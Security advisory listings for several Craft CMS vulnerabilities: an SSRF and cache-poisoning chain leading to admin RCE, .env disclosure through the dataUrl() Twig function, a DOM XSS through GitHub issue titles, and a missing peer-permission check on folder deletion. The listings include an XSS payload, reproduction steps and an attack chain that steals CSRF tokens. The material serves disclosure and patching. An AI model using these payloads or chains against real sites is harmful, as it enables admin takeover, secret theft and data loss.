2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

Apr 23, 2026

4.17.14 patch

4 CVEs

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-50284 GHSA-7h62-6v23-v8fm Jul 02, 2026

Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets

High

Network Low Low None

Summary

AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.

This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.

Details

src/controllers/AssetsController.php:552-569:

public function actionDeleteFolder(): Response
{
    $this->requireAcceptsJson();
    $folderId = $this->request->getRequiredBodyParam('folderId');

    $assets = Craft::$app->getAssets();
    $folder = $assets->getFolderById($folderId);

    if (!$folder) {
        throw new BadRequestHttpException('The folder cannot be found');
    }

    // Check if it's possible to delete objects in the target volume.
    $this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
    $assets->deleteFoldersByIds($folderId);

    return $this->asSuccess();
}

requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.

Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:

$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();

foreach (Db::each($assetQuery) as $asset) {
    $asset->keepFileOnDelete = !$deleteDir;
    $elementService->deleteElement($asset, true);
}

This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):

public function canDelete(User $user): bool
{
    if ($this->isFolder) { return false; }
    if (parent::canDelete($user)) { return true; }
    $volume = $this->getVolume();
    if (Assets::isTempUploadFs($volume->getFs())) { return true; }

    if ($this->uploaderId !== $user->id) {
        return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
    }
    return $user->can("deleteAssets:$volume->uid");
}

Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:

$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);

The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).

The asymmetry between the two endpoints demonstrates the missing check.

Impact

Integrity / availability of other users' assets on any volume where the attacker has deleteAssets but not deletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI.
The Craft permission model explicitly distinguishes "delete your own assets" (deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights.
No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split deleteAssets from deletePeerAssets (the documented, supported permission model).

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 404 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


